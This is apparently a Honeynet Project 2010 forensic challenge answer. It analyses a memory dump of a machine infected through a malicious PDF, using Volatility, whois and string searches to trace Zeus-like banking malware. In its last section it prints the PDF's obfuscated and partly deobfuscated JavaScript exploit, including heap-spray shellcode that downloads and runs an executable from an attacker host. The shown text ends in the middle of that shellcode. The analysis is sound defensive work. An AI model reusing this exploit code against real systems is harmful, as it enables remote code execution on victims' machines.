Challenge 3: Banking Troubles (difficult)

Submission Template

Submit your solution at http://www.honeynet.org/challenge2010/ by 17:00 EST, Sunday, April 18th 2010. Results will be released on Wednesday, May 5th 2010.

Name (required): Franck Guénichot	Email (required): franck.guenichot@orange.fr
Country (optional): France	Profession (optional): _ ~~Student~~ _ ~~Security Professional~~ _ Other

Question 1. List the processes that were running on the victim's machine. Which process was most likely responsible for the initial exploit?	Possible Points: 2pts
Tools Used: volatility Awarded Points:	

Answer 1.

Using the volatility tool to list running processes in the memory dump of Bob's machine reveals 27 running processes:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3$ python Volatility-
1.3_Beta/volatility pslist -f Bob.vmem
/home/franck/Analysis/Sources/Honeynet/Challenge 3/Volatility-
1.3_Beta/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is
deprecated; use the hashlib module instead
  import sha
Name                 Pid    PPid   Thds   Hnds   Time
System               4      0      58     573    Thu Jan 01 00:00:00 1970
smss.exe             548    4      3      21     Fri Feb 26 03:34:02 2010
csrss.exe            612    548    12     423    Fri Feb 26 03:34:04 2010
winlogon.exe         644    548    21     521    Fri Feb 26 03:34:04 2010
services.exe         688    644    16     293    Fri Feb 26 03:34:05 2010
lsass.exe            700    644    22     416    Fri Feb 26 03:34:06 2010
vmacthlp.exe         852    688    1      35     Fri Feb 26 03:34:06 2010
svchost.exe          880    688    28     340    Fri Feb 26 03:34:07 2010
svchost.exe          948    688    10     276    Fri Feb 26 03:34:07 2010
svchost.exe          1040   688    83     1515   Fri Feb 26 03:34:07 2010
svchost.exe          1100   688    6      96     Fri Feb 26 03:34:07 2010
svchost.exe          1244   688    19     239    Fri Feb 26 03:34:08 2010
spoolsv.exe          1460   688    11     129    Fri Feb 26 03:34:10 2010
vmtoolsd.exe         1628   688    5      220    Fri Feb 26 03:34:25 2010
VMUpgradeHelper      1836   688    4      108    Fri Feb 26 03:34:34 2010
alg.exe              2024   688    7      130    Fri Feb 26 03:34:35 2010
explorer.exe         1756   1660   14     345    Fri Feb 26 03:34:38 2010
```

```
VMwareTray.exe        1108   1756   1      59     Fri Feb 26 03:34:39 2010
VMwareUser.exe        1116   1756   4      179    Fri Feb 26 03:34:39 2010
wscntfy.exe           1132   1040   1      38     Fri Feb 26 03:34:40 2010
msiexec.exe           244    688    5      181    Fri Feb 26 03:46:06 2010
msiexec.exe           452    244    0      -1     Fri Feb 26 03:46:07 2010
wuauclt.exe           440    1040   8      188    Sat Feb 27 19:48:49 2010
wuauclt.exe           232    1040   4      136    Sat Feb 27 19:49:11 2010
firefox.exe           888    1756   9      172    Sat Feb 27 20:11:53 2010
AcroRd32.exe          1752   888    8      184    Sat Feb 27 20:12:23 2010
svchost.exe           1384   688    9      101    Sat Feb 27 20:12:36 2010
```

We know that Bob has opened a PDF file and "banking troubles" happened shortly after, so chances are that AcroRd32.exe (pid 1752) was the process responsible of the initial exploit. The running processes list reveals also that firefox.exe (pid 888) is the parent process of AcroRd32.exe.
This point seems to confirm that bob received a link to a pdf file in the suspicious co-worker's mail.

The use of the "psscan2" plugin of volatility, which list scan a memory dump to find EPROCESS structures didn't show any hidden process.

Question 2. List the sockets that were open on the victim's machine during infection. Are there any suspicious processes that have sockets open?	Possible Points: 4pts
Tools Used: volatility	

Answer 2.

Again with the volatility framework it is possible to list all the opened sockets at the time of the infection:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ python
volatility sockets -f ../Bob.vmem |sort -n
/home/franck/Analysis/Sources/Honeynet/Challenge 3/Volatility-
1.3_Beta/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is
deprecated; use the hashlib module instead
  import sha
Pid     Port    Proto   Create Time
4       0       47      Fri Feb 26 03:35:00 2010
4       139     6       Sat Feb 27 19:48:57 2010
4       445     6       Fri Feb 26 03:34:02 2010
4       1030    6       Fri Feb 26 03:35:00 2010
4       137     17      Sat Feb 27 19:48:57 2010
4       138     17      Sat Feb 27 19:48:57 2010
4       445     17      Fri Feb 26 03:34:02 2010
700     0       255     Fri Feb 26 03:34:26 2010
948     135     6       Fri Feb 26 03:34:07 2010
1040    68      17      Sat Feb 27 20:12:35 2010
700     500     17      Fri Feb 26 03:34:26 2010
880     1184    6       Sat Feb 27 20:12:36 2010
880     1185    6       Sat Feb 27 20:12:36 2010
888     1168    6       Sat Feb 27 20:11:53 2010
888     1169    6       Sat Feb 27 20:11:53 2010
888     1171    6       Sat Feb 27 20:11:53 2010
888     1172    6       Sat Feb 27 20:11:53 2010
888     1176    6       Sat Feb 27 20:12:28 2010
1040    123     17      Sat Feb 27 19:48:57 2010
```

```
1040    123     17      Sat Feb 27 19:48:57 2010
1244    1189    6       Sat Feb 27 20:12:37 2010
1244    2869    6       Sat Feb 27 20:12:37 2010
1752    1178    6       Sat Feb 27 20:12:32 2010
2024    1026    6       Fri Feb 26 03:34:35 2010
700     4500    17      Fri Feb 26 03:34:26 2010
880     30301   6       Sat Feb 27 20:12:36 2010
1040    1181    17      Sat Feb 27 20:12:35 2010
1040    1182    17      Sat Feb 27 20:12:35 2010
1040    1186    17      Sat Feb 27 20:12:36 2010
1100    1025    17      Fri Feb 26 03:34:34 2010
1100    1047    17      Fri Feb 26 03:43:12 2010
1244    1900    17      Sat Feb 27 19:48:57 2010
1244    1900    17      Sat Feb 27 19:48:57 2010
1752    1177    17      Sat Feb 27 20:12:32 2010
```

We can see 2 sockets opened by the suspicious process: a TCP one on port 1178 and an UDP one on port 1177. We can also see that the process svchost.exe (pid 880) has an opened socket on TCP port 30301. We should tag this process as suspicious too.
Using the "connections" option from volatility it is possible to view established connections at the time the memory dump was taken.

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ python
volatility connscan2 -f ../Bob.vmem
/home/franck/Analysis/Sources/Honeynet/Challenge 3/Volatility-
1.3_Beta/forensics/win32/crashdump.py:31: DeprecationWarning: the sha module is
deprecated; use the hashlib module instead
  import sha

Local Address             Remote Address            Pid
------------------------- ------------------------- ------

192.168.0.176:1176        212.150.164.203:80        888
192.168.0.176:1189        192.168.0.1:9393          1244
192.168.0.176:2869        192.168.0.1:30379         1244
192.168.0.176:2869        192.168.0.1:30380         4
0.0.0.0:0                 80.206.204.129:0          0
127.0.0.1:1168            127.0.0.1:1169            888
192.168.0.176:1172        66.249.91.104:80          888
127.0.0.1:1169            127.0.0.1:1168            888
192.168.0.176:1171        66.249.90.104:80          888
192.168.0.176:1178        212.150.164.203:80        1752
192.168.0.176:1184        193.104.22.71:80          880
192.168.0.176:1185        193.104.22.71:80          880
```

At least one connection is active for the suspicious process 1752, the target for this connection is a machine on the Internet: 212.150.164.203 on tcp port 80. (maybe HTTP was used).
The suspicious host is located in Israel:

```
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
```

```
% Note: This output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '212.150.164.0 - 212.150.164.255'

inetnum:        212.150.164.0 - 212.150.164.255
netname:        loads
descr:          loads
country:        IL
admin-c:        NV4093-RIPE
tech-c:         NN105-RIPE
status:         ASSIGNED PA
mnt-by:         NV-MNT-RIPE
mnt-lower:      NV-MNT-RIPE
source:         RIPE # Filtered

role:           Netvision NOC team
address:        Omega Building
address:        MATAM industrial park
address:        Haifa 31905
address:        Israel
phone:          +972 4 8560 600
fax-no:         +972 4 8551 132
e-mail:         abuse@013netvision.co.il
remarks:        trouble:      Send Spam and Abuse complains ONLY to the above
address!
e-mail:         ripetech@013netvision.co.il
admin-c:        NVAC-RIPE
tech-c:         NVTC-RIPE
nic-hdl:        NN105-RIPE
mnt-by:         NV-MNT-RIPE
source:         RIPE # Filtered

person:         Loads Internet Solutions
address:        Katzrin
address:        Po.box 113
mnt-by:         NV-MNT-ripe
phone:          +972-77-3414136
fax-no:         +972--4-6961877
e-mail:         hosting@loads.co.il
nic-hdl:        NV4093-RIPE
source:         RIPE # Filtered

% Information related to '212.150.0.0/16AS1680'

route:          212.150.0.0/16
descr:          013 Netvision Network
origin:         AS1680
mnt-by:         NV-MNT-RIPE
source:         RIPE # Filtered
```

The previously tagged "suspicious" process svchost.exe (pid 880) has also connections to an external host: 193.104.22.71 on TCP port 80. It isn't a normal behavior for this process to connect to the outside. This reveals a potentially malicious behavior.
The targeted host is located in Malta.

```
franck@ODIN:~/Downloads$ whois 193.104.22.71
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: This output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '193.104.22.0 - 193.104.22.255'

inetnum:        193.104.22.0 - 193.104.22.255
netname:        KratosWeb-NET
descr:          Kratos LTD
country:        MT
org:            ORG-KL60-RIPE
admin-c:        MS19890-RIPE
tech-c:         MS19890-RIPE
status:         ASSIGNED PI
mnt-by:         RIPE-NCC-END-MNT
mnt-lower:      RIPE-NCC-END-MNT
mnt-by:         KRATOS-MNT
mnt-routes:     KRATOS-MNT
mnt-domains:    KRATOS-MNT
source:         RIPE # Filtered

organisation:   ORG-KL60-RIPE
org-name:       Kratos LTD
org-type:       OTHER
address:        Albanese Building, North Shore, Manoel Island,   GZR 3016 Gzira,
Malta
admin-c:        MS19890-RIPE
tech-c:         MS19890-RIPE
mnt-ref:        KRATOS-MNT
mnt-by:         KRATOS-MNT
abuse-mailbox:  abuse@kratosweb.org
source:         RIPE # Filtered

person:         Markus Speth
address:        Albanese Building
address:        North Shore, Manoel Island
address:        Gzira GZR 04
address:        Malta
phone:          +356 0951 4412
nic-hdl:        MS19890-RIPE
mnt-by:         KRATOS-MNT
source:         RIPE # Filtered

% Information related to '193.104.22.0/24AS34305'

route:          193.104.22.0/24
descr:          Kratos Route
origin:         AS34305
mnt-by:         EUROACCESS-MNT
mnt-by:         KRATOS-MNT
```

```
source:         RIPE # Filtered
```

Question 3. List any suspicious URLs that may be in the suspected process's memory.	Possible Points: 2pts

Tools Used: volatility, strings, grep

Answer 3.

To list the suspicious URL in AcroRd32.exe (pid 1752) memory, I've first dump the process's addressable memory using the volatility framework.

```
./volatility memdmp -f ../Bob.vmem -p 1752
```

A file named 1752.dmp is created with a size of 319 MB.

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3$ ls -lh 1752.dmp
-rw-r--r-- 1 franck franck 319M 2010-03-29 19:02 1752.dmp
```

Then I've simply used strings and grep with a really simplistic url regexp to list all the URLs contained in the process memory

```
strings 1752.dmp |grep '[htf]tp[s]*://.*$'
```

Here are the URLs I've found suspicious:

- https://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
  - A malformed url, the domain name has a link with banking
- http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0
- http://search-network-plus.com/load.php?a=a&st=Internet%20Explorer%206.0&e=2
- http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=1
- http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=3
  - this URLs refers to a website sadly known for automatic malware distribution

Question 4. Are there any other processes that contain URLs that may point to banking troubles? If so, what are these processes and what are the URLs?	Possible Points: 4pts

Tools Used: strings

Answer 4.

Using strings on the various process's memory dumps reveals some other suspicious URLs or partial URLs:

Process svchost.exe (pid 880)

- http://193.104.22.71/~produkt/9j856f_4m9y8urb.php
  - this url is used in a suspicious http POST command:
    - POST /~produkt/9j856f_4m9y8urb.php HTTP/1.1
- !*.microsoft.com/*
- https://banki ng.*.de/cgi/ueberweisu

These partial URL may be related to a known malware: Zbot/Zeus

URL: https://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome

Was also found in other processes memory:

```
strings -td Bob.vmem |grep "onlineeast" | sed 's/ /: /' > str_files
```

This command generate a text file with <offset>: <string> references to be used with the volatility strings plugin. Like below:

```
3804008: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
45452136: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
53988200: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
55098216: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
144759656: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
183397224: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
282864488: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
331877224: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
358779752: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
360893288: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
395627368: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
404724584: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
429288296: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
432810856: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
433130344: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
444648296: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
445139816: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
446032744: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
453577576: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
456657768: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
456866664: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
468974440: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
481266536: Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

This file is given as parameter to the strings plugin of the volatility framework:

```
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta$ ./volatility strings -f
../Bob.vmem -s ../str_files
/home/franck/Analysis/Sources/Honeynet/Challenge 3/Volatility-1.3_Beta/forensics/win32/crashdump.py:31:
DeprecationWarning: the sha module is deprecated; use the hashlib module instead
  import sha
3804008  [1756:b62b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
45452136  [440:2802b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
53988200  [1116:1672b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
55098216  [1108:da2b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
144759656  [1836:a72b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
183397224  [1100:8a2b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
282864488  [1384:642b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
331877224  [232:1392b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
358779752  [1460:ec2b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
360893288  [644:1312b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
395627368  [852:672b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
404724584  [688:e42b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
429288296  [1628:15e2b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
432810856  [948:8d2b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
433130344  [2024:7b2b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
444648296  [880:c32b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
445139816  [888:2042b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
446032744  [1752:62b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
453577576  [1040:2542b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
456657768  [700:c22b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
456866664  [1132:822b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
468974440  [1244:a62b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

```
481266536  [244:8c2b68 ]  Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

This output seems to indicate that nearly all running process have been infected (injected) by a suspicious code.
Here's the list:
PID 1756: explorer.exe
PID 440 : wuauclt.exe
PID 1116 : VMwareUser.exe
PID 1108: VMwareTray.exe
PID 1836: VMUpgradeHelper
PID 1100: svchost.exe
PID 1384 : svchost.exe
PID 232: wuauclt.exe
PID 1460: spoolsv.exe
PID 644: winlogon.exe
PID 852: vmacthlp.exe
PID 688: services.exe
PID 1628: vmtoolsd.exe
PID 948 : svchost.exe
PID 2024 : alg.exe
PID 880: svchost.exe
PID 888: firefox.exe
PID 1752: AcroRd32.exe
PID 1040: svchost.exe
PID 700: lsass.exe
PID 1132: wscntfy.exe
PID 1244: svchost.exe
PID 244: msiexec.exe

Only the smss.exe and csrss.exe doesn't have any infection sign.

Question 5. Were there any files that were able to be extracted from the initial process? How were these files extracted?	Possible Points: 6pts
Tools Used:	

Answer 5.

Not much time for this one.
A malicious executable was downloaded to a temporary directory under the name e.exe.

Question 6. If there was a file extracted from the initial process, what techniques did it use to perform the exploit?	Possible Points: 8pts
Tools Used: pdfid.py, pdf-parser.py, mkcarray, ollydbg	

Answer 6.

After extraction of some PDF files from the AcroRd32.exe process addressable memory with foremost, Then it is possible to parse these files with specialized tools:

```
 franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 3/foremost/pdf$ ls -lh
total 740K
-rw-r--r-- 1 franck franck  419 2010-03-29 19:23 00445397.pdf
-rw-r--r-- 1 franck franck  419 2010-03-29 19:23 00446730.pdf
-rw-r--r-- 1 franck franck  425 2010-03-29 19:23 00578749.pdf
-rw-r--r-- 1 franck franck  425 2010-03-29 19:23 00583952.pdf
-rw-r--r-- 1 franck franck  425 2010-03-29 19:23 00599312.pdf
-rw-r--r-- 1 franck franck  59K 2010-03-29 19:23 00599696.pdf
-rw-r--r-- 1 franck franck 593K 2010-03-29 19:23 00600328.pdf
```

Using the pdfid.py script (written by Didier Stevens http://blog.didierstevens.com) to gather information on these PDF could help to find quickly suspicious ones. (We will focus on PDF with embedded javascript and AA or OpenAction tags, one-page pdf files are good candidates)

Quickly, it is possible to isolate one suspicious PDF document:

```
PDFiD 0.0.10 ./00600328.pdf
 PDF Header: %PDF-1.3
 obj                    6
 endobj                 6
 stream                 1
 endstream              1
 xref                   2
 trailer                2
 startxref              1
 /Page                  1
 /Encrypt               0
 /ObjStm                0
 /JS                    1
 /JavaScript            1
 /AA                    1
```

```
 /OpenAction            0
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Colors > 2^24         0
```

To continue the analysis, we could use pdf-parser.py to generate parsed output of the pdf file's structure and objects. This could help use in finding suspicious javascript. Like the one found in the 00600328.pdf file (see below)

```
"\nvar
xtdxJYVm='01111000001010110000011100101111001000010011011100011111000110110010111101
1001111001001010011000000010001001001110000001001101001
00000011000111100011111100101001001011000100001000000011000011010000000110011100000 1
0001101001000001011000001100000010000001011100011100100000001001
01100100011100000110010010001000011111000000100101110100000000000011111001101110010 0
1010010011000100010011011110111111001001011001010010011001000 10
11110011001000101101011001100010101100111011001100110011100100000000000011010111100
00111100000010100001100100011100000000011000010110110100000010 1
00011011000011011100101011000110100011101100000101001110010111000100000001000000010 0
0101000000000110011001101000100001111000010010000000110000010 11
00100001001000010010001100000000000010110010011110111101101010110001000010010111000 0
1010000100101001110000110100001110100010001010111100100110001 01
01100000011001000111000001110110010011000000011001100000000000110001101001010001000 00
0010010001000011000001101100001111001001111011110100011100000 000
01100010110100010101011000010010111100100010000011000001110100101000010001000011110
0000011110011110001101101010010010000101000011011001001100101 00
1001011001010010110011010000 0
```

...CUT...

```
function yRgjvasM(EajhtdGQ,replace,RzUbJqHU){if(!(replace instanceof Array))
{replace=new Array(replace);if(EajhtdGQ instanceof Array)
{while(EajhtdGQ.length>replace.length){replace[replace.length]=replace[0];}}}if(!
(EajhtdGQ instanceof Array))EajhtdGQ=new
Array(EajhtdGQ);while(EajhtdGQ.length>replace.length)
{replace[replace.length]='';}if(RzUbJqHU instanceof Array){for(WsvDXhZg in
RzUbJqHU){RzUbJqHU[WsvDXhZg]=yRgjvasM(EajhtdGQ,replace,RzUbJqHU[WsvDXhZg]);}return
RzUbJqHU;}for(var WsvDXhZg=0;WsvDXhZg<EajhtdGQ.length;WsvDXhZg++){var
GlyomGyU=RzUbJqHU.indexOf(EajhtdGQ[WsvDXhZg]);while(GlyomGyU>-1)
{RzUbJqHU=RzUbJqHU.replace(EajhtdGQ[WsvDXhZg],replace[WsvDXhZg]);GlyomGyU=RzUbJqHU.
indexOf(EajhtdGQ[WsvDXhZg],GlyomGyU);}}return RzUbJqHU;}function DgZCVgIX(xtdxJYVm)
{var VzBJVOyp=0,GlyomGyU=0,qTABhyTE;for(;GlyomGyU<8;GlyomGyU++){qTABhyTE=7-
GlyomGyU;VzBJVOyp+=Dqakslkn(2,qTABhyTE)*xtdxJYVm[GlyomGyU];}return
VzBJVOyp;}function BGmiwYYc(xtdxJYVm){var GlyomGyU=0;var
VzBJVOyp='';while(GlyomGyU<xtdxJYVm.length)
{VzBJVOyp+=String.fromCharCode(DgZCVgIX(xtdxJYVm.substr(GlyomGyU,8)));GlyomGyU+=8;}
return VzBJVOyp;}function HNQYxrFW(KChuBWpl,aTkRRqKD,HVqLGmiA)
{KChuBWpl(HVqLGmiA(aTkRRqKD));}function SvaHZsuK(FuojOxin,kcqmHMdn){var
VzBJVOyp='';for(var GlyomGyU=0;GlyomGyU<FuojOxin.length;GlyomGyU++)
{VzBJVOyp+=aubpcKJR(HYOtmIjW(vrfDJomH(FuojOxin[GlyomGyU]),vrfDJomH(kcqmHMdn[GlyomGy
U])));}return VzBJVOyp;}function aubpcKJR(ENzEszAz)
{return(ENzEszAz)?'1':'0';}HNQYxrFW(eval,VIfwHVPz(xtdxJYVm,JkYBYnxN),BGmiwYYc);func
tion HYOtmIjW(DTBYIswO,BEundbzB){return(DTBYIswO||BEundbzB)&&!
(DTBYIswO&&BEundbzB);}function VIfwHVPz(xtdxJYVm,JkYBYnxN){return
SvaHZsuK(GcBigPkz(JkYBYnxN),GcBigPkz(xtdxJYVm))}function vrfDJomH(ENzEszAz)
{return(ENzEszAz==1)?true:false;}function GcBigPkz(xtdxJYVm){return
```

```
xtdxJYVm;}function Dqakslkn(ENzEszAz,Dqakslkn){if(Dqakslkn==0){return 1;}var
VzBJVOyp=ENzEszAz;for(var GlyomGyU=1;GlyomGyU<Dqakslkn;GlyomGyU++)
{VzBJVOyp*=ENzEszAz;}return VzBJVOyp"
```

We can view a long binary string followed by an obfuscated javascript. This script could be partialy deobfuscated using "js" for example (or malzilla)

The partially deobfuscated script looks like below:

```
function OzWJi(rzRoI,fxLUb){while(rzRoI.length*2<fxLUb){rzRoI+=rzRoI;}
return rzRoI.substring(0,fxLUb/2);}

function bSuTN(){var
Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34
\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738
B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF2
38\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1
C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\u
C032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\
u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F
\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB
8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D
6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u7
46E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u323D\u0000%25%30%2
5%30%25%30%25%30%25%30%25%30");var HWXsi=202116108;var ZkzwV=[];var
HsVTm=4194304;var EgAxi=Uueqk.length*2;var fxLUb=HsVTm-(EgAxi+0x38);var
rzRoI=sly("\u9090\u9090");rzRoI=OzWJi(rzRoI,fxLUb);var tfFQG=(HWXsi-
4194304)/HsVTm;for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){ZkzwV[gtqHE]=rzRoI+Uueqk;}
print (eHmqR);
var
eHmqR=sly("\u0c0c\u0c0c");while(eHmqR.length<44952)eHmqR+=eHmqR;this.collabStore=Co
llab.collectEmailInfo({subj:"",msg:eHmqR});}


function Soy(){var dwl=new Array();function ppu(BtM,dqO){while(BtM.length*2<dqO)
{BtM+=BtM;}
BtM=BtM.substring(0,dqO/2);return BtM;}
XrS=0x30303030;HRb=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09E
B\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u04
55\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uB
E0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u
0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\
uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850
\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u045
5\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55
FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7
774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u
7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u313D\
u0000\u0000%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26");var
jxU=4194304;var RaR=HRb.length*2;var dqO=jxU-(RaR+0x38);var
BtM=sly("\u9090\u9090");BtM=ppu(BtM,dqO);var JYD=(XrS-4194304)/jxU;for(var
Prn=0;Prn<JYD;Prn++){dwl[Prn]=BtM+HRb;}
var IdI="660554479506362601 27";for(sly=0;sly<138*2;sly++){IdI+="3";}
util.printf("%45000f",IdI);}

function ynu(shG)
```

```
{shG=shG.replace(/[\+1]/g,"0");shG=shG.replace(/[\+2]/g,"9");shG=shG.replace(/[\
+3]/g,"8");shG=shG.replace(/[\+4]/g,"7");shG=shG.replace(/[\
+5]/g,"6");shG=shG.replace(/[\+6]/g,"5");shG=shG.replace(/[\
+7]/g,"4");shG=shG.replace(/[\+8]/g,"3");shG=shG.replace(/[\
+9]/g,"2");shG=shG.replace(/[\+0]/g,"1");return shG;}

function XiIHG(){var
cqcNr=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34
\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738
B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF2
38\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1
C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\u
C032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\
u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F
\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB
8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D
